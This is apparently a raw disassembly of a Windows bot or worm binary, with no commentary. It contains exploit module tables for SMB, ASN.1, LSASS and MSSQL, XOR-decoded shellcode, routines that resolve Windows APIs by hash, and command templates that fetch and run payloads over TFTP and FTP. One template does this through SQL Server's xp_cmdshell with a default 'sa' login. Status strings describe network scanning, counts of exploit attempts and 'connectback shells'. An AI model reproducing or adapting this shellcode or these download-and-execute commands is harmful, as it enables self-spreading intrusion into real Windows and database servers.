		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_437EFA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_437F9C
		jnz	short loc_437F88
		retn
; ---------------------------------------------------------------------------


loc_437F88:				; CODE XREF: .nsp0:00437F85j
					; .nsp0:00437F95j
		call	loc_437F8E
; ---------------------------------------------------------------------------
		align 2


loc_437F8E:				; CODE XREF: .nsp0:loc_437F88j
		push	0
		call	sub_437F9C
		jz	loc_437F88
		retn

; =============== S U B	R O U T	I N E =======================================



sub_437F9C	proc near		; CODE XREF: .nsp0:00437F80p
					; .nsp0:00437F90p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_437F9C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B29C+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B29C+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C034+164o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B6EF+30o
					; .nsp0:0040DA49o
		align 4
		dd 5 dup(0)
dword_438048	dd 0B97h						; .nsp0:00403897o ...
off_43804C	dd offset sub_40EB90	; DATA XREF: sub_40C034+1E6r
dword_438050	dd 0							; .nsp0:0040D3ABw ...
dword_438054	dd 1		dword_438058	dd 1		dword_43805C	dd 0		aNet1		db 'net1',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E13Eh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E13Eh, 0
		dd 2 dup(1), 0
aNet2		db 'net2',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E62Bh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E62Bh, 0
		dd 2 dup(1), 0
aNet3		db 'net3',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40EA50h, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 33h, 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40EA50h, 0
		dd 2 dup(1), 0
aMass_0		db 'mass',0
		align 4
		dd 616C0000h, 3331646Eh, 39h, 5	dup(0)
		dd 8Bh,	40D7AFh, 0
		dd 2 dup(1), 0
aMssql		db 'mssql',0
		align 4
		dd 736D0000h, 6C7173h, 6 dup(0)
		dd 599h, 40D825h, 0
		dd 2 dup(1), 0
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 4
		dd 4 dup(0)
		dd 50h,	40D1E5h, 0
		dd 2 dup(1), 0
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D1E5h, 0
		dd 2 dup(1), 0
aMsass		db 'msass',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D1E5h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aMssql_0	db 'mssql',0
		align 4
		db 2 dup(0)
byte_43836A	db 1			; DATA XREF: .nsp0:loc_4037E7r
					; .nsp0:004037F1o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_438396

; =============== S U B	R O U T	I N E =======================================



sub_438386	proc near		; CODE XREF: sub_438386:loc_438396p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_43838E:				; CODE XREF: sub_438386+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43838E
		jmp	short loc_43839B
; ---------------------------------------------------------------------------


loc_438396:				; CODE XREF: .nsp0:00438384j
		call	sub_438386


loc_43839B:				; CODE XREF: sub_438386+Ej
		jo	short near ptr dword_438324+12h
		cwde
		cdq
		cdq
		retn
sub_438386	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B562+85o
		align 4
dword_438518	dd 25370320h, 203A0373h, 2C6425hunk_438524	db  2Dh	; -		; DATA XREF: sub_40B562+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_438544	db  2Dh	; -		; DATA XREF: sub_40B630+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43858C	db  2Dh	; -		; DATA XREF: sub_40B69B+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B6EF+7Eo
dword_4385C8	dd 25370320h, 28200373h, 73253403h, 2C2903hdword_4385D8	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B6EF+14o
		dd 7473694Ch, 3Ah
unk_4385F4	db  2Dh	; -		; DATA XREF: .nsp0:0040B923o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_438628	db  2Dh	; -		; DATA XREF: .nsp0:0040B835o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_438658	db  2Dh	; -		; DATA XREF: sub_40B966+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_40B966+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_438694	db  2Dh	; -		; DATA XREF: sub_40B9DD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_31	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4386C8	db  2Dh	; -		; DATA XREF: sub_40B9DD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_32	db '- Failed to start server, error: <%d>.',0
unk_438700	db  2Dh	; -		; DATA XREF: sub_40B9DD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_438730	db  2Dh	; -		; DATA XREF: sub_40B9DD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_33	db 'Failed to start server, error: <%d>.',0
		align 4
unk_438764	db  2Dh	; -		; DATA XREF: sub_40B9DD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_438798	db  2Dh	; -		; DATA XREF: sub_40B9DD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4387CC	db  2Dh	; -		; DATA XREF: sub_40C034+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_4387F4	db  2Dh	; -		; DATA XREF: sub_40C034+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43882C	db  2Dh	; -		; DATA XREF: .nsp0:0040C416o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_43886C	db  2Dh	; -		; DATA XREF: .nsp0:0040C3BBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4388A4	db  2Dh	; -		; DATA XREF: .nsp0:0040C34Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4388D8	db  2Dh	; -		; DATA XREF: .nsp0:0040C2CFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_43890C	db  2Dh	; -		; DATA XREF: sub_40C4A7+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_438934	db  2Dh	; -		; DATA XREF: sub_40C574+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_40C665+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_438988	db  2Dh	; -		; DATA XREF: sub_40C665+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40C9E6+B2o
		align 10h
dword_4389C0	dd 10FF8h, 0	dword_4389C8	dd 10FF8h	dword_4389CC	dd 7FFDF020h, 0	dword_4389D4	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_438A5C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_438A8C	dd 0				dd 800000D4h, 0
unk_438A98	db  81h	; 		; DATA XREF: sub_40CEEA+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_438AE4	db 41h			; DATA XREF: sub_40CF88+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_438B28	proc near		; DATA XREF: .nsp0:0040D267o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_438C24
		push	dword ptr [esi]
		push	63D61209h
		call	sub_438C3A
		mov	[esi+8], eax
		call	sub_438BED
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_438C3A
		mov	[esi+0Ch], eax
		call	sub_438B9F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_438C3A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_438B28	endp


; =============== S U B	R O U T	I N E =======================================



sub_438B9F	proc near		; CODE XREF: sub_438B28+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_438BC8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_438B9F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438BC8	proc near		; CODE XREF: sub_438B9F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_438BD7:				; CODE XREF: sub_438BC8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_438BE4
		inc	ebx
		jmp	short loc_438BD7
; ---------------------------------------------------------------------------


loc_438BE4:				; CODE XREF: sub_438BC8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_438BC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438BED	proc near		; CODE XREF: sub_438B28+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_438C05:				; CODE XREF: sub_438BED+1Ej
		cmp	[ecx], ebx
		jz	short loc_438C0D
		mov	ecx, [ecx]
		jmp	short loc_438C05
; ---------------------------------------------------------------------------


loc_438C0D:				; CODE XREF: sub_438BED+1Aj
		mov	edx, edi


loc_438C0F:				; CODE XREF: sub_438BED+2Aj
		cmp	[edx+4], ebx
		jz	short loc_438C19
		mov	edx, [edx+4]
		jmp	short loc_438C0F
; ---------------------------------------------------------------------------


loc_438C19:				; CODE XREF: sub_438BED+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_438BED	endp


; =============== S U B	R O U T	I N E =======================================



sub_438C24	proc near		; CODE XREF: sub_438B28+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_438C24	endp


; =============== S U B	R O U T	I N E =======================================



sub_438C3A	proc near		; CODE XREF: sub_438B28+16p
					; sub_438B28+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_438C50:				; CODE XREF: sub_438C3A+33j
		jecxz	short loc_438C8A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_438C5D:				; CODE XREF: sub_438C3A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_438C69
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_438C5D
; ---------------------------------------------------------------------------


loc_438C69:				; CODE XREF: sub_438C3A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_438C50
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_438C8A:				; CODE XREF: sub_438C3A:loc_438C50j
					; sub_438C3A:loc_438C8Aj
		jmp	short loc_438C8A
sub_438C3A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_438C90	proc near		; DATA XREF: .nsp0:0040D215o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_438CE2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_438CAD:				; CODE XREF: sub_438C90+38j
		jecxz	short loc_438CDD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_438CB8:				; CODE XREF: sub_438C90+32j
		lodsb
		test	al, al
		jz	short loc_438CC4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_438CB8
; ---------------------------------------------------------------------------


loc_438CC4:				; CODE XREF: sub_438C90+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_438CAD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_438CDD:				; CODE XREF: sub_438C90:loc_438CADj
		mov	[esp+arg_0], ebx
		retn
sub_438C90	endp


; =============== S U B	R O U T	I N E =======================================



sub_438CE2	proc near		; CODE XREF: sub_438C90+7p

; FUNCTION CHUNK AT 00438D1A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_438CFB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_438D06
; ---------------------------------------------------------------------------


loc_438CFB:				; CODE XREF: sub_438CE2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_438D06:				; CODE XREF: sub_438CE2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_438D1A
sub_438CE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_438D0D	proc near		; CODE XREF: sub_438CE2:loc_438D1Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_438D0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438CE2


loc_438D1A:				; CODE XREF: sub_438CE2+29j
		call	sub_438D0D


loc_438D1F:				; DATA XREF: sub_40C9E6+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_438CE2
; ---------------------------------------------------------------------------
		dw 0
dword_438D24	dd 62B0606h, 2050501h, 0A0hdword_438D30	dd 0A1h		dword_438D34	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_40C9E6+153o
		align 10h


loc_438D40:				; DATA XREF: sub_40C9E6+E8o
		jmp	short near ptr dword_438D48
; ---------------------------------------------------------------------------
		align 8
dword_438D48	dd 0		aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .nsp0:0040D23Co
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
unk_438DB0	db    2			; DATA XREF: .nsp0:0040DA4Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	73h, 71h
		db  6Ch	; l
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAttemptingToRo	db ' attempting to root (%s:%d) user: (%s/%s).',0
unk_438DF4	db    2			; DATA XREF: .nsp0:0040D9D0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileTransferCo	db '  File transfer complete to IP: %s',0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .nsp0:0040D9BBo
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: .nsp0:0040D987o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 10h
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .nsp0:0040D8EBo
		align 4
aSa		db 'sa',0               ; DATA XREF: .nsp0:0040D83Eo
		align 4
dword_438F18	dd 0E983C933h, 0D9EED9AFh, 5BF42474h; ---------------------------------------------------------------------------


loc_438F24:				; CODE XREF: .nsp0:00438F2Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_438F24
		inc	edi
		jz	short loc_438F6B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_438F93
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_438F6B:				; CODE XREF: .nsp0:00438F31j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_438FCA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_438F90:				; CODE XREF: .nsp0:00438FBDj
		xor	[esi-25h], bl


loc_438F93:				; CODE XREF: .nsp0:00438F39j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_438FAC:				; CODE XREF: .nsp0:00438FDFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_438F90
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_438FCA:				; CODE XREF: .nsp0:00438F71j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_439056
		jo	short loc_438FAC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_438FED+1
		add	bl, [edi]


loc_438FED:				; CODE XREF: .nsp0:00438FE9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_439002+2
		cmp	ch, bh
		dec	edx


loc_439002:				; CODE XREF: .nsp0:00438FFDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_439056:				; CODE XREF: .nsp0:00438FDDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4390DC
		sub	al, 0BCh
		jmp	near ptr 5445944Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_439078	dd 0EFFFC481h, 44FFFFh,	4390C4hdword_439084	dd 42Ah		dword_439088	dd 3E8h		dword_43908C	dd 258h		byte_439090	db 0			; DATA XREF: .nsp0:0040DDCFr
					; .nsp0:0040DEA6r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4390A8	dd 20804h						; .nsp0:0040DEC4o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .nsp0:00439094o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4390DC:				; CODE XREF: .nsp0:00439060j
		push	eax
		xor	al, 29h


